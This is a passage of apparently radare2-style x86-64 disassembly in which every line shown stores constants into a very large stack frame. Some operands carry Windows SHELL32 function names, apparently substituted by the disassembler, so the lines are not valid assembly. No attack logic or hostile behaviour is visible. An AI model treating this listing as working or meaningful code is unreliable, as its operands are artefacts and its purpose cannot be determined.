mov qword [rsp + 0xea68], rax
mov dword [rsp + 0x761c], 0x60b1
mov dword [rsp + 0x7620], 0x4a44
mov byte [rsp + 0x34e], 0xc8
movabs rax, 0x73488a04034cc2
mov qword [rsp + 0xea70], rax
mov byte [rsp + 0x34f], 0x30
movabs rax, 0x7190563d68b09e
mov qword [rsp + 0xea78], rax
mov eax, 0x2de
mov word [rsp + 0x1e80], ax
movabs rax, 0x7d87b724eda55e
mov qword [rsp + 0xea80], rax
mov eax, 0x6d6
mov word [rsp + 0x1e84], ax
mov byte [rsp + 0x350], 0x8d
mov dword [rsp + 0x7624], 0x26e7
movabs rax, 0x7e46fafa673915
mov qword [rsp + 0xea88], rax
mov dword [rsp + 0x7628], 0x2778
movabs rax, 0x7257de58822615
mov qword [rsp + 0xea90], rax
mov eax, 0xcd3
mov word [rsp + 0x1e88], ax
mov dword [rsp + 0x762c], 0xe328
mov eax, 0x21
mov word [rsp + 0x1e8c], ax
movabs rax, 0x72fb3715cd1772
mov qword [rsp + 0xea98], rax
mov eax, 0x182
mov word [rsp + 0x1e90], ax
mov eax, 0x4aa
mov word [rsp + 0x1e94], ax
movabs rax, 0x779673dcf7ac8e
mov qword [rsp + 0xeaa0], rax
movabs rax, 0x792d3733e0830c
mov qword [rsp + 0xeaa8], rax
mov byte [rsp + 0x351], SHSetInstanceExplorer
mov eax, 0x6ec
mov word [rsp + 0x1e98], ax
movabs rax, 0x7e4408fa10b6e1
mov qword [rsp + 0xeab0], rax
movabs rax, 0x75b4f0c03d05f7
mov qword [rsp + 0xeab8], rax
mov eax, 0x5ce
mov word [rsp + 0x1e9c], ax
mov dword [rsp + 0x7630], 0x2e94
mov dword [rsp + 0x7634], 0x84d3
mov eax, 0x62
mov word [rsp + 0x1ea0], ax
mov eax, 0x685
mov word [rsp + 0x1ea4], ax
movabs rax, 0x70abb4fc5a2e54
mov qword [rsp + 0xeac0], rax
movabs rax, 0x71864f108cba30
mov qword [rsp + 0xeac8], rax
mov eax, 0x1c8
mov word [rsp + 0x1ea8], ax
mov eax, 0x46f
mov word [rsp + 0x1eac], ax
movabs rax, 0x790e6d91df8760
mov qword [rsp + 0xead0], rax
mov byte [rsp + 0x352], 4
mov byte [rsp + 0x353], SHDoDragDrop
movabs rax, 0x76041a7ad55d09
mov qword [rsp + 0xead8], rax
mov eax, 0x58f
mov word [rsp + 0x1eb0], ax
mov eax, 0x64c
mov word [rsp + 0x1eb4], ax
movabs rax, 0x71d6ed5d8771ba
mov qword [rsp + 0xeae0], rax
mov eax, 0xaa3
mov word [rsp + 0x1eb8], ax
mov byte [rsp + 0x354], 0x61
mov dword [rsp + 0x7638], 0x482b
mov eax, 0x926
mov word [rsp + 0x1ebc], ax
mov byte [rsp + 0x355], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x356], SHDoDragDrop
mov dword [rsp + 0x763c], 0x6074
mov byte [rsp + 0x357], 0x1c
mov dword [rsp + 0x7640], 0x647d
movabs rax, 0x75d280c4424605
mov qword [rsp + 0xeae8], rax
mov byte [rsp + 0x358], SHDoDragDrop
movabs rax, 0x79307b3f08570d
mov qword [rsp + 0xeaf0], rax
mov eax, 0x7d1
mov word [rsp + 0x1ec0], ax
movabs rax, 0x7d163c89ea697a
mov qword [rsp + 0xeaf8], rax
mov dword [rsp + 0x7644], 0x9d1
movabs rax, 0x7d187abd38f524
mov qword [rsp + 0xeb00], rax
mov eax, 0x9c
mov word [rsp + 0x1ec4], ax
mov byte [rsp + 0x359], 0xf1
mov eax, 0xfd3
mov word [rsp + 0x1ec8], ax
mov byte [rsp + 0x35a], 0x71
movabs rax, 0x795a7b6d95011d
mov qword [rsp + 0xeb08], rax
mov byte [rsp + 0x35b], PathYetAnotherMakeUniqueName
movabs rax, 0x7af6313ba45a3c
mov qword [rsp + 0xeb10], rax
mov byte [rsp + 0x35c], 0x73
mov eax, 0x5cc
mov word [rsp + 0x1ecc], ax
mov eax, 0x72c
mov word [rsp + 0x1ed0], ax
mov dword [rsp + 0x7648], 0xf7c
mov eax, 0x50e
mov word [rsp + 0x1ed4], ax
mov dword [rsp + 0x764c], 0x8e89
mov byte [rsp + 0x35d], 0xfc
movabs rax, 0x712f44a4d7fd49
mov qword [rsp + 0xeb18], rax
mov byte [rsp + 0x35e], 0xd8
mov dword [rsp + 0x7650], 0x725b
mov dword [rsp + 0x7654], 0x7918
mov dword [rsp + 0x7658], 0x69cf
mov dword [rsp + 0x765c], 0x7bf8
movabs rax, 0x7dd7ddf3cc9109
mov qword [rsp + 0xeb20], rax
movabs rax, 0x7132b9561fa7d3
mov qword [rsp + 0xeb28], rax
mov dword [rsp + 0x7660], 0x46b9
mov byte [rsp + 0x35f], 0xc8
mov dword [rsp + 0x7664], 0xa758
mov byte [rsp + 0x360], 0x31
movabs rax, 0x78034e83ffdb4e
mov qword [rsp + 0xeb30], rax
mov eax, 0x496
mov word [rsp + 0x1ed8], ax
mov dword [rsp + 0x7668], 0x59fa
mov dword [rsp + 0x766c], 0x34a2
mov dword [rsp + 0x7670], 0xdcf3
mov dword [rsp + 0x7674], 0x3f6
mov eax, 0x37c
mov word [rsp + 0x1edc], ax
mov byte [rsp + 0x361], ILRemoveLastID
movabs rax, 0x74979ef8312929
mov qword [rsp + 0xeb38], rax
mov byte [rsp + 0x362], 0x19
movabs rax, 0x792435f7a3ece1
mov qword [rsp + 0xeb40], rax
movabs rax, 0x7a7d30e0919193
mov qword [rsp + 0xeb48], rax
mov dword [rsp + 0x7678], 0x6d66
movabs rax, 0x7e21f39a5c0411
mov qword [rsp + 0xeb50], rax
movabs rax, 0x783d27b82582ad
mov qword [rsp + 0xeb58], rax
mov eax, 0x376
mov word [rsp + 0x1ee0], ax
movabs rax, 0x74bdf67a2f16b3
mov qword [rsp + 0xeb60], rax
mov eax, 0x2d1
mov word [rsp + 0x1ee4], ax
movabs rax, 0x7bcd9829a43fff
mov qword [rsp + 0xeb68], rax
movabs rax, 0x7b5662c64485ac
mov qword [rsp + 0xeb70], rax
mov eax, 0x66b
mov word [rsp + 0x1ee8], ax
movabs rax, 0x7d1138b4b0f38b
mov qword [rsp + 0xeb78], rax
mov eax, 0xdf2
mov word [rsp + 0x1eec], ax
movabs rax, 0x7ee14008b8226a
mov qword [rsp + 0xeb80], rax
mov byte [rsp + 0x363], 0x66
mov byte [rsp + 0x364], 0x36
mov dword [rsp + 0x767c], 0x2e9c
mov byte [rsp + 0x365], 0x72
mov dword [rsp + 0x7680], 0x3dbd
mov eax, 0x76c
mov word [rsp + 0x1ef0], ax
mov eax, 0xee7
mov word [rsp + 0x1ef4], ax
mov eax, 0xe09
mov word [rsp + 0x1ef8], ax
mov byte [rsp + 0x366], 0x1a
mov dword [rsp + 0x7684], 0x4b28
movabs rax, 0x76801e711c2456
mov qword [rsp + 0xeb88], rax
mov dword [rsp + 0x7688], 0xcc16
mov eax, 0x2fe
mov word [rsp + 0x1efc], ax
mov eax, 0xd1a
mov word [rsp + 0x1f00], ax
mov byte [rsp + 0x367], reloc.SHELL32.dll_ILAppendID
movabs rax, 0x7579d537d411bf
mov qword [rsp + 0xeb90], rax
movabs rax, 0x750e26d8a3cfec
mov qword [rsp + 0xeb98], rax
mov dword [rsp + 0x768c], 0x1f8c
mov eax, 0x50d
mov word [rsp + 0x1f04], ax
movabs rax, 0x794eb66bd37cc6
mov qword [rsp + 0xeba0], rax
movabs rax, 0x769f02e06596aa
mov qword [rsp + 0xeba8], rax
mov byte [rsp + 0x368], 0x6d
mov eax, 0x66e
mov word [rsp + 0x1f08], ax
mov dword [rsp + 0x7690], 0xe6c4
movabs rax, 0x7150147ce7e74a
mov qword [rsp + 0xebb0], rax
movabs rax, 0x758a1c697c3190
mov qword [rsp + 0xebb8], rax
movabs rax, 0x75ef9a2660ba4d
mov qword [rsp + 0xebc0], rax
movabs rax, 0x77a3982a25a5d2
mov qword [rsp + 0xebc8], rax
movabs rax, 0x7a5bc7706f32d6
mov qword [rsp + 0xebd0], rax
movabs rax, 0x72347a269113b2
mov qword [rsp + 0xebd8], rax
mov dword [rsp + 0x7694], 0x2c71
mov dword [rsp + 0x7698], 0x8f63
movabs rax, 0x7076e0a07c659e
mov qword [rsp + 0xebe0], rax
mov eax, 0x84e
mov word [rsp + 0x1f0c], ax
mov eax, 0x5f2
mov word [rsp + 0x1f10], ax
mov eax, 0x8ab
mov word [rsp + 0x1f14], ax
mov dword [rsp + 0x769c], 0xfeb
mov byte [rsp + 0x369], 0x8a
mov dword [rsp + 0x76a0], 0x7b77
mov byte [rsp + 0x36a], 0x1e
movabs rax, 0x7be2cef38541ce
mov qword [rsp + 0xebe8], rax
mov dword [rsp + 0x76a4], 0x45c
mov dword [rsp + 0x76a8], 0x616d
mov dword [rsp + 0x76ac], 0x260d
mov dword [rsp + 0x76b0], 0x5924
mov eax, 0x881
mov word [rsp + 0x1f18], ax
mov byte [rsp + 0x36b], 0x8d
movabs rax, 0x7121599060af3b
mov qword [rsp + 0xebf0], rax
mov dword [rsp + 0x76b4], 0xdde7
mov byte [rsp + 0x36c], 0xc8
movabs rax, 0x79f031239e6090
mov qword [rsp + 0xebf8], rax
mov byte [rsp + 0x36d], SHSetInstanceExplorer
mov dword [rsp + 0x76b8], 0x46bd
mov byte [rsp + 0x36e], 0x50
movabs rax, 0x7a21bf99d41586
mov qword [rsp + 0xec00], rax
mov byte [rsp + 0x36f], 0x61
mov byte [rsp + 0x370], 0x78
mov dword [rsp + 0x76bc], 0x7728
mov byte [rsp + 0x371], ILRemoveLastID
movabs rax, 0x770df0d3558b95
mov qword [rsp + 0xec08], rax
movabs rax, 0x7347a3ea164a0a
mov qword [rsp + 0xec10], rax
movabs rax, 0x71a55c79852ab5
mov qword [rsp + 0xec18], rax
mov eax, 0x6a0
mov word [rsp + 0x1f1c], ax
movabs rax, 0x73dad298288b4a
mov qword [rsp + 0xec20], rax
mov byte [rsp + 0x372], ILRemoveLastID
mov eax, 0xa68
mov word [rsp + 0x1f20], ax
mov dword [rsp + 0x76c0], 0xec35
movabs rax, 0x7e00ff4f5afcf9
mov qword [rsp + 0xec28], rax
mov dword [rsp + 0x76c4], 0x1d04
mov byte [rsp + 0x373], 0x82
mov eax, 0x702
mov word [rsp + 0x1f24], ax
mov byte [rsp + 0x374], 0x62
mov dword [rsp + 0x76c8], 0x8153
mov dword [rsp + 0x76cc], 0x745b
mov eax, 0x969
mov word [rsp + 0x1f28], ax
mov dword [rsp + 0x76d0], 0x6dc6
movabs rax, 0x724087fb3583bc
mov qword [rsp + 0xec30], rax
movabs rax, 0x7c9ba1d0b8b726
mov qword [rsp + 0xec38], rax
mov eax, 0x4ec
mov word [rsp + 0x1f2c], ax
mov eax, 0x21c
mov word [rsp + 0x1f30], ax
movabs rax, 0x7cdc9315a10572
mov qword [rsp + 0xec40], rax
mov eax, 0x6e3
mov word [rsp + 0x1f34], ax
mov eax, 0x1e4
mov word [rsp + 0x1f38], ax
mov byte [rsp + 0x375], 0x22
mov dword [rsp + 0x76d4], 0xd4d8
mov dword [rsp + 0x76d8], 0x3159
mov dword [rsp + 0x76dc], 0x3f39
movabs rax, 0x7173349078434a
mov qword [rsp + 0xec48], rax
mov eax, 0xda
mov word [rsp + 0x1f3c], ax
mov eax, 0x7f1
mov word [rsp + 0x1f40], ax
movabs rax, 0x7c185377fb91ad
mov qword [rsp + 0xec50], rax
mov byte [rsp + 0x376], 0xc3
movabs rax, 0x7ca52f0aeb7caa
mov qword [rsp + 0xec58], rax
movabs rax, 0x7b6bd074274bf0
mov qword [rsp + 0xec60], rax
mov byte [rsp + 0x377], 2
mov byte [rsp + 0x378], 0x59
mov byte [rsp + 0x379], 0x26
mov dword [rsp + 0x76e0], 0x6d4a
movabs rax, 0x76e6a48570746d
mov qword [rsp + 0xec68], rax
movabs rax, 0x71b829ef081322
mov qword [rsp + 0xec70], rax
movabs rax, 0x78d1af6a4c59d5
mov qword [rsp + 0xec78], rax
mov eax, 0x7d4
mov word [rsp + 0x1f44], ax
movabs rax, 0x75f0b1335cdde7
mov qword [rsp + 0xec80], rax
movabs rax, 0x7dc1f40d756750
mov qword [rsp + 0xec88], rax
movabs rax, 0x71e65579863053
mov qword [rsp + 0xec90], rax
movabs rax, 0x7dfcd62f475445
mov qword [rsp + 0xec98], rax
mov dword [rsp + 0x76e4], 0x60c0
movabs rax, 0x744106258715f1
mov qword [rsp + 0xeca0], rax
mov byte [rsp + 0x37a], 0x71
mov eax, 0xf95
mov word [rsp + 0x1f48], ax
movabs rax, 0x7a1240ded5a234
mov qword [rsp + 0xeca8], rax
movabs rax, 0x764653d102aede
mov qword [rsp + 0xecb0], rax
mov dword [rsp + 0x76e8], 0xb1c6
mov dword [rsp + 0x76ec], 0x926d
mov byte [rsp + 0x37b], PathYetAnotherMakeUniqueName
movabs rax, 0x7573c11a91d051
mov qword [rsp + 0xecb8], rax
movabs rax, 0x7ac8d45f1f7d05
mov qword [rsp + 0xecc0], rax
movabs rax, 0x71b6ca0fd97a69
mov qword [rsp + 0xecc8], rax
mov eax, 0x20d
mov word [rsp + 0x1f4c], ax
movabs rax, 0x7b6290dd4055af
mov qword [rsp + 0xecd0], rax
mov eax, 0xfe3
mov word [rsp + 0x1f50], ax
mov byte [rsp + 0x37c], 0x64
movabs rax, 0x735bc6af74c17c
mov qword [rsp + 0xecd8], rax
mov dword [rsp + 0x76f0], 0x3d29
mov dword [rsp + 0x76f4], 0x3eec
mov eax, 0x3d6
mov word [rsp + 0x1f54], ax
mov byte [rsp + 0x37d], ILRemoveLastID
movabs rax, 0x70a73390b3da91
mov qword [rsp + 0xece0], rax
mov byte [rsp + 0x37e], 0x1c
mov dword [rsp + 0x76f8], 0x2ccc
mov dword [rsp + 0x76fc], 0x5811
mov dword [rsp + 0x7700], 0x1026
mov eax, 0x799
mov word [rsp + 0x1f58], ax
movabs rax, 0x733325fc9c4cd6
mov qword [rsp + 0xece8], rax
mov dword [rsp + 0x7704], 0x7e1
mov dword [rsp + 0x7708], 0x61f
mov eax, 0x5b7
mov word [rsp + 0x1f5c], ax
mov eax, 0x352
mov word [rsp + 0x1f60], ax
mov byte [rsp + 0x37f], SHDoDragDrop
mov eax, 0x4ca
mov word [rsp + 0x1f64], ax
mov dword [rsp + 0x770c], 0x772d
mov eax, 0xd17
mov word [rsp + 0x1f68], ax
mov byte [rsp + 0x380], 0x50
mov dword [rsp + 0x7710], 0x1d60
mov eax, 0x2cf
mov word [rsp + 0x1f6c], ax
mov byte [rsp + 0x381], SHSetInstanceExplorer
mov eax, 0x215
mov word [rsp + 0x1f70], ax
mov eax, 0xfe
mov word [rsp + 0x1f74], ax
mov dword [rsp + 0x7714], 0xe53b
mov eax, 0x7e7
mov word [rsp + 0x1f78], ax
mov byte [rsp + 0x382], 0x3c
movabs rax, 0x7b0128960f2f6e
mov qword [rsp + 0xecf0], rax
mov eax, 0x104
mov word [rsp + 0x1f7c], ax
movabs rax, 0x7673f53620ba31
mov qword [rsp + 0xecf8], rax
mov byte [rsp + 0x383], 0x5b
movabs rax, 0x70f66ffbbfd47f
mov qword [rsp + 0xed00], rax
movabs rax, 0x708e1c1c1e61ac
mov qword [rsp + 0xed08], rax
mov dword [rsp + 0x7718], 0x7bad
movabs rax, 0x77a14d31b8a836
mov qword [rsp + 0xed10], rax
mov eax, 0xa70
mov word [rsp + 0x1f80], ax
mov eax, 0x627
mov word [rsp + 0x1f84], ax
mov dword [rsp + 0x771c], 0x152e
mov byte [rsp + 0x384], reloc.SHELL32.dll_ILCreateFromPathW
mov byte [rsp + 0x385], 0x7a
mov dword [rsp + 0x7720], 0x3d7d
mov eax, 0x4c5
mov word [rsp + 0x1f88], ax
mov eax, 0x437
mov word [rsp + 0x1f8c], ax
mov byte [rsp + 0x386], 0x5e
mov dword [rsp + 0x7724], 0x99f
mov eax, 0xe9c
mov word [rsp + 0x1f90], ax
movabs rax, 0x7a4e61dfc43148
mov qword [rsp + 0xed18], rax
mov dword [rsp + 0x7728], 0x4bc3
movabs rax, 0x7047dec6ba6b62
mov qword [rsp + 0xed20], rax
mov byte [rsp + 0x387], reloc.SHELL32.dll_ILAppendID
mov byte [rsp + 0x388], 0x73
mov dword [rsp + 0x772c], 0x407b
mov eax, 0xd43
mov word [rsp + 0x1f94], ax
mov eax, 0xb0f
mov word [rsp + 0x1f98], ax
mov eax, 0x589
mov word [rsp + 0x1f9c], ax
mov byte [rsp + 0x389], 0x1b
movabs rax, 0x716c96effff966
mov qword [rsp + 0xed28], rax
movabs rax, 0x787a11294f9696
mov qword [rsp + 0xed30], rax
mov byte [rsp + 0x38a], 0x32
mov eax, 0x779
mov word [rsp + 0x1fa0], ax
mov eax, 0x140
mov word [rsp + 0x1fa4], ax
mov dword [rsp + 0x7730], 0x270f
mov dword [rsp + 0x7734], 0x9f93
movabs rax, 0x7ea78c731ca149
mov qword [rsp + 0xed38], rax
movabs rax, 0x7e137f1ad56ebf
mov qword [rsp + 0xed40], rax
movabs rax, 0x75377ffeeb9a44
mov qword [rsp + 0xed48], rax
movabs rax, 0x70d47cf8b4b117
mov qword [rsp + 0xed50], rax
mov byte [rsp + 0x38b], 0x8e
mov dword [rsp + 0x7738], 0x4ccf
movabs rax, 0x7234010ff44f2c
mov qword [rsp + 0xed58], rax
movabs rax, 0x7968000ed6272c
mov qword [rsp + 0xed60], rax
mov eax, 0x21a
mov word [rsp + 0x1fa8], ax
mov dword [rsp + 0x773c], 0x2c2
mov eax, 0x88
mov word [rsp + 0x1fac], ax
movabs rax, 0x7c19f62f5d7da2
mov qword [rsp + 0xed68], rax
mov dword [rsp + 0x7740], 0x2ec7
mov eax, 0x872
mov word [rsp + 0x1fb0], ax
movabs rax, 0x7dee043e8ada76
mov qword [rsp + 0xed70], rax
mov byte [rsp + 0x38c], reloc.SHELL32.dll_ILGetNext
mov byte [rsp + 0x38d], 0x4d
mov dword [rsp + 0x7744], 0x78e6
mov byte [rsp + 0x38e], 0xde
mov eax, 0xbba
mov word [rsp + 0x1fb4], ax
movabs rax, 0x76914e2d14d9a5
mov qword [rsp + 0xed78], rax
mov byte [rsp + 0x38f], ILCreateFromPathW
movabs rax, 0x79de34f708bbb8
mov qword [rsp + 0xed80], rax
mov eax, 0x334
mov word [rsp + 0x1fb8], ax
movabs rax, 0x7d6df8f6c4bc23
mov qword [rsp + 0xed88], rax
mov dword [rsp + 0x7748], 0x2b15
mov eax, 0x59f
mov word [rsp + 0x1fbc], ax
mov dword [rsp + 0x774c], 0xebda
mov eax, 0x3ae
mov word [rsp + 0x1fc0], ax
mov byte [rsp + 0x390], PathMakeUniqueName
mov dword [rsp + 0x7750], 0xfcd7
mov byte [rsp + 0x391], 0x33
movabs rax, 0x7ab8bb82b22386
mov qword [rsp + 0xed90], rax
movabs rax, 0x7a5ae79710113b
mov qword [rsp + 0xed98], rax
mov eax, 0x321
mov word [rsp + 0x1fc4], ax
movabs rax, 0x7a4cb0c09dcb37
mov qword [rsp + 0xeda0], rax
movabs rax, 0x74500a9a719e92
mov qword [rsp + 0xeda8], rax
movabs rax, 0x7e7cf8d54bf814
mov qword [rsp + 0xedb0], rax
movabs rax, 0x7a4140afbbb62f
mov qword [rsp + 0xedb8], rax
mov byte [rsp + 0x392], 0x5f
mov eax, 0x54a
mov word [rsp + 0x1fc8], ax
movabs rax, 0x714674136cefe5
mov qword [rsp + 0xedc0], rax
mov byte [rsp + 0x393], 0xf4
mov eax, 0x6e2
mov word [rsp + 0x1fcc], ax
mov dword [rsp + 0x7754], 0xb16c
movabs rax, 0x7d63b450ea1dde
mov qword [rsp + 0xedc8], rax
mov eax, 0xe79
mov word [rsp + 0x1fd0], ax
mov dword [rsp + 0x7758], 0x7e71
movabs rax, 0x7d32f1e6f678c1
mov qword [rsp + 0xedd0], rax
mov byte [rsp + 0x394], 0x8f
movabs rax, 0x7d14881e4d9847
mov qword [rsp + 0xedd8], rax
mov byte [rsp + 0x395], 0x33
mov eax, 0x667
mov word [rsp + 0x1fd4], ax
mov byte [rsp + 0x396], 0xde
mov eax, 0x4b3
mov word [rsp + 0x1fd8], ax
movabs rax, 0x707e3c640a7058
mov qword [rsp + 0xede0], rax
movabs rax, 0x75b6eed2d31688
mov qword [rsp + 0xede8], rax
mov eax, 0x307
mov word [rsp + 0x1fdc], ax
movabs rax, 0x707e9e07b2046a
mov qword [rsp + 0xedf0], rax
mov dword [rsp + 0x775c], 0x4d99
mov eax, 0x3d6
mov word [rsp + 0x1fe0], ax
movabs rax, 0x7b665660367212
mov qword [rsp + 0xedf8], rax
mov dword [rsp + 0x7760], 0x3e8a
mov dword [rsp + 0x7764], 0x71b2
mov eax, 0x446
mov word [rsp + 0x1fe4], ax
mov eax, 0x7ae
mov word [rsp + 0x1fe8], ax
mov eax, 0x755
mov word [rsp + 0x1fec], ax
mov eax, 0x36c
mov word [rsp + 0x1ff0], ax
mov eax, 0xb24
mov word [rsp + 0x1ff4], ax
mov byte [rsp + 0x397], 7
movabs rax, 0x72006b3d6fffe5
mov qword [rsp + 0xee00], rax
movabs rax, 0x79971b39788bfc
mov qword [rsp + 0xee08], rax
mov byte [rsp + 0x398], 0x5b
mov eax, 0x15e
mov word [rsp + 0x1ff8], ax
mov dword [rsp + 0x7768], 0x2ed4
mov eax, 0x58b
mov word [rsp + 0x1ffc], ax
mov eax, 0x803
mov word [rsp + 0x2000], ax
mov byte [rsp + 0x399], 0x26
mov eax, reloc.SHELL32.dll_ILRemoveLastID
mov word [rsp + 0x2004], ax
mov byte [rsp + 0x39a], 0x61
movabs rax, 0x7961c34aaa4c4d
mov qword [rsp + 0xee10], rax
mov dword [rsp + 0x776c], 0x3c
movabs rax, 0x77c2d65dc0c34b
mov qword [rsp + 0xee18], rax
mov byte [rsp + 0x39b], reloc.SHELL32.dll_ILIsParent
movabs rax, 0x74718ee534076d
mov qword [rsp + 0xee20], rax
movabs rax, 0x751ed859fb2e4c
mov qword [rsp + 0xee28], rax
movabs rax, 0x79306fac737e0e
mov qword [rsp + 0xee30], rax
mov eax, 0x670
mov word [rsp + 0x2008], ax
movabs rax, 0x77976e388d4e6b
mov qword [rsp + 0xee38], rax
movabs rax, 0x74cdfda7274f17
mov qword [rsp + 0xee40], rax
mov byte [rsp + 0x39c], 0xfd
mov dword [rsp + 0x7770], 0x6471
movabs rax, 0x74bc85a29270b2
mov qword [rsp + 0xee48], rax
mov eax, 0x515
mov word [rsp + 0x200c], ax
mov eax, 0x500
mov word [rsp + 0x2010], ax
mov dword [rsp + 0x7774], 0x5174
movabs rax, 0x7db29c5009b0e2
mov qword [rsp + 0xee50], rax
mov eax, 0x19a
mov word [rsp + 0x2014], ax
movabs rax, 0x7a9a78b8df2a81
mov qword [rsp + 0xee58], rax
mov eax, 0x6e7
mov word [rsp + 0x2018], ax
mov byte [rsp + 0x39d], ILGetNext
mov byte [rsp + 0x39e], 0xf6
mov eax, 0x30c
mov word [rsp + 0x201c], ax
mov eax, 0x762
mov word [rsp + 0x2020], ax
mov byte [rsp + 0x39f], ILCreateFromPathW
mov eax, 0x6b2
mov word [rsp + 0x2024], ax
mov byte [rsp + 0x3a0], SHSetInstanceExplorer
movabs rax, 0x75bf0444c019d7
mov qword [rsp + 0xee60], rax
mov dword [rsp + 0x7778], 0x2b93
mov byte [rsp + 0x3a1], 4
movabs rax, 0x77b6071fdfabad
mov qword [rsp + 0xee68], rax
mov byte [rsp + 0x3a2], 1
movabs rax, 0x741284e074df8d
mov qword [rsp + 0xee70], rax
mov dword [rsp + 0x777c], 0x1863
mov dword [rsp + 0x7780], 0x37ea
movabs rax, 0x7c853ac15eef7e
mov qword [rsp + 0xee78], rax
mov eax, 0x513
mov word [rsp + 0x2028], ax
mov eax, 0x68
mov word [rsp + 0x202c], ax
mov dword [rsp + 0x7784], 0x4943
mov byte [rsp + 0x3a3], ILRemoveLastID
mov dword [rsp + 0x7788], 0x988b
mov byte [rsp + 0x3a4], 0x79
mov eax, 0x6b6
mov word [rsp + 0x2030], ax
movabs rax, 0x7e8bca64230c21
mov qword [rsp + 0xee80], rax
mov dword [rsp + 0x778c], 0x3d71
movabs rax, 0x7b0360f905ae36
mov qword [rsp + 0xee88], rax
mov byte [rsp + 0x3a5], ILIsParent
movabs rax, 0x7b3f53a800cbef
mov qword [rsp + 0xee90], rax
mov eax, 0xdaa
mov word [rsp + 0x2034], ax
movabs rax, 0x78d6807d3aded2
mov qword [rsp + 0xee98], rax
mov eax, 0x4db
mov word [rsp + 0x2038], ax
mov dword [rsp + 0x7790], 0xa260
mov eax, 0x64d
mov word [rsp + 0x203c], ax
mov dword [rsp + 0x7794], 0x4c47
mov byte [rsp + 0x3a6], 0x5a
mov byte [rsp + 0x3a7], SHGetNewLinkInfoW
mov eax, 0x171
mov word [rsp + 0x2040], ax
movabs rax, 0x7e15f406874f2d
mov qword [rsp + 0xeea0], rax
movabs rax, 0x7822c3300a5b23
mov qword [rsp + 0xeea8], rax
mov eax, 0x4bb
mov word [rsp + 0x2044], ax
movabs rax, 0x781f9207a06dfa
mov qword [rsp + 0xeeb0], rax
movabs rax, 0x756be841753de8
mov qword [rsp + 0xeeb8], rax
mov eax, 0x91a
mov word [rsp + 0x2048], ax
mov byte [rsp + 0x3a8], 0x67
mov eax, 0x5e0
mov word [rsp + 0x204c], ax
mov eax, 0xaf3
mov word [rsp + 0x2050], ax
movabs rax, 0x7b9c4b88261412
mov qword [rsp + 0xeec0], rax
movabs rax, 0x7b1dede275dddd
mov qword [rsp + 0xeec8], rax
mov eax, 0x145
mov word [rsp + 0x2054], ax
mov dword [rsp + 0x7798], 0x7243
mov eax, 0x4a6
mov word [rsp + 0x2058], ax
mov dword [rsp + 0x779c], 0x35ea
mov byte [rsp + 0x3a9], 0xa3
movabs rax, 0x7b8870209acbc4
mov qword [rsp + 0xeed0], rax
mov eax, 0x330
mov word [rsp + 0x205c], ax
movabs rax, 0x7cf2dbe4409c5e
mov qword [rsp + 0xeed8], rax
mov eax, 0xf6
mov word [rsp + 0x2060], ax
mov dword [rsp + 0x77a0], 0xf9e9
mov dword [rsp + 0x77a4], 0x2a5
mov dword [rsp + 0x77a8], 0x219e
mov dword [rsp + 0x77ac], 0xd40d
movabs rax, 0x781ffb1b034c6d
mov qword [rsp + 0xeee0], rax
mov eax, 0x1ce
mov word [rsp + 0x2064], ax
movabs rax, 0x78face75dacb57
mov qword [rsp + 0xeee8], rax
mov byte [rsp + 0x3aa], 0x81
mov dword [rsp + 0x77b0], 0x4be5
movabs rax, 0x7aefb91b4582e1
mov qword [rsp + 0xeef0], rax
mov dword [rsp + 0x77b4], 0x607f
movabs rax, 0x75d3b31c87d15c
mov qword [rsp + 0xeef8], rax
mov eax, 0x889
mov word [rsp + 0x2068], ax
mov dword [rsp + 0x77b8], 0xbf6f
movabs rax, 0x76bfea4a4800eb
mov qword [rsp + 0xef00], rax
movabs rax, 0x719d45efb3b10b
mov qword [rsp + 0xef08], rax
mov eax, 0x6ec
mov word [rsp + 0x206c], ax
movabs rax, 0x706398a378391a
mov qword [rsp + 0xef10], rax
mov byte [rsp + 0x3ab], 0x4e
mov dword [rsp + 0x77bc], 0x4ca2
mov eax, 0x364
mov word [rsp + 0x2070], ax
mov byte [rsp + 0x3ac], 0xf3
mov byte [rsp + 0x3ad], reloc.SHELL32.dll_ILClone
movabs rax, 0x7d82300f7c3ebf
mov qword [rsp + 0xef18], rax
movabs rax, 0x7d01e41e9cadde
mov qword [rsp + 0xef20], rax
movabs rax, 0x7b549716e41b8d
mov qword [rsp + 0xef28], rax
mov eax, 0x121
mov word [rsp + 0x2074], ax
mov eax, 0x4ed
mov word [rsp + 0x2078], ax
movabs rax, 0x715555e50c1229
mov qword [rsp + 0xef30], rax
mov byte [rsp + 0x3ae], reloc.SHELL32.dll_ILFindLastID
movabs rax, 0x74b06ed6534841
mov qword [rsp + 0xef38], rax
mov eax, 0x6fd
mov word [rsp + 0x207c], ax
mov byte [rsp + 0x3af], 0x4e
movabs rax, 0x769f8d15a8f6ac
mov qword [rsp + 0xef40], rax
mov byte [rsp + 0x3b0], reloc.SHELL32.dll_ILIsParent
mov eax, 0x8b0
mov word [rsp + 0x2080], ax
movabs rax, 0x710bc52138a9c3
mov qword [rsp + 0xef48], rax
mov dword [rsp + 0x77c0], 0x6469
movabs rax, 0x7aa93841112665
mov qword [rsp + 0xef50], rax
mov eax, 0x2ee
mov word [rsp + 0x2084], ax
mov dword [rsp + 0x77c4], 0x1678
mov byte [rsp + 0x3b1], 0x76
movabs rax, 0x71bc96407a6c4c
mov qword [rsp + 0xef58], rax
mov dword [rsp + 0x77c8], 0xe638
mov dword [rsp + 0x77cc], 0x4dc3
mov byte [rsp + 0x3b2], 0xc7
mov dword [rsp + 0x77d0], 0x32db
mov eax, 0xbbf
mov word [rsp + 0x2088], ax
mov eax, 0x34e
mov word [rsp + 0x208c], ax
movabs rax, 0x78c65fd4c77a96
mov qword [rsp + 0xef60], rax
movabs rax, 0x7d5b0b4aefea07
mov qword [rsp + 0xef68], rax
movabs rax, 0x7aa493420bb57a
mov qword [rsp + 0xef70], rax
movabs rax, 0x7226a02a6e482d
mov qword [rsp + 0xef78], rax
mov byte [rsp + 0x3b3], 0x77
movabs rax, 0x70eef435d7d234
mov qword [rsp + 0xef80], rax
mov eax, 0x112
mov word [rsp + 0x2090], ax
mov byte [rsp + 0x3b4], 0xd3
mov dword [rsp + 0x77d4], 0x7d1
mov eax, 0x41d
mov word [rsp + 0x2094], ax
mov dword [rsp + 0x77d8], 0xbc82
movabs rax, 0x79d267986c5f9c
mov qword [rsp + 0xef88], rax
mov eax, 0x296
mov word [rsp + 0x2098], ax
mov byte [rsp + 0x3b5], reloc.SHELL32.dll_ILIsParent
